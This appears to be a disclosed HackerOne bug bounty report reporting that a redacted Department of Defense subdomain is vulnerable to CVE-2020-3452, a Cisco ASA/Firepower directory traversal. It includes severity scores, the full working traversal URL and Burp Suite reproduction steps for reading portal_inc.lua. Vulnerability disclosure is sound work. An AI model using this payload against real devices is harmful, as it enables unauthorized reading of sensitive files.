Lucene search

Splint3rsecH1:1234925

HistoryJun 15, 2021 - 6:52 p.m.

U.S. Dept Of Defense: [CVE-2020-3452] on ███████

2021-06-1518:52:28

splint3rsec

hackerone.com

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

0.975 High

EPSS

Percentile

100.0%

JSON

The following subdomain is vulnerable to CVE-2020-3452, which is an unauthenticated file read in Cisco ASA & Cisco Firepower.

URL:

https://████/

Vulnerable URL:

https://███/+CSCOT+/translation-table?type=mst&textdomain=/%2BCSCOE%2B/portal_inc.lua&default-language&lang=../
██████████

Resources:

https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86

Impact

The vulnerability could allow an unauthenticated, remote attacker to conduct directory traversal attacks and read sensitive files on a targeted system.

System Host(s)

███

Affected Product(s) and Version(s)

CVE Numbers

CVE-2020-3452

Steps to Reproduce

Go to https://██████/+CSCOE+/logon.html
Intercept the request with Burpsuite
Send the request to Repeater
Change the URL path to the following /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../as an example to read “/+CSCOE+/portal_inc.lua” file.
You will get the portal_inc.lua file